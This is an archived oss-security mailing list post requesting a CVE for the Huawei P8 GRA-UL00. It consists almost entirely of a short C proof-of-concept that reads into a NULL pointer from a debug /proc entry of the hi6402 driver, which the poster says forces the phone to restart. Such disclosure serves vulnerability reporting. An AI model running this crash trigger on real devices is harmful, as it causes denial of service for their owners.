Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Mon, 16 Nov 2015 02:56:41 +0000
From: 郭永刚 <guoyonggang@....cn>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: CVE request-HUAWEI P8 GRA-UL00

Code below will lead P8 restart :

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(void)
{
  int ret;
  int fd;
  void *p = NULL;

  fd = open("/proc/hi6402dbg/hi6402debuglevel", O_RDONLY);
  if(fd == -1)    {
         printf("[-] Open failed (%d - %s)\n", errno, strerror(errno));
         return -1;
  }
  printf("Open successfully\n");

  p = (void *)0;
  ret = read(fd, p, 4);
  if(ret == -1)   {
         printf("[-]failed (%d - %s)\n", errno, strerror(errno));
         return -1;
  }

  close(fd);
  return 0;
}

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ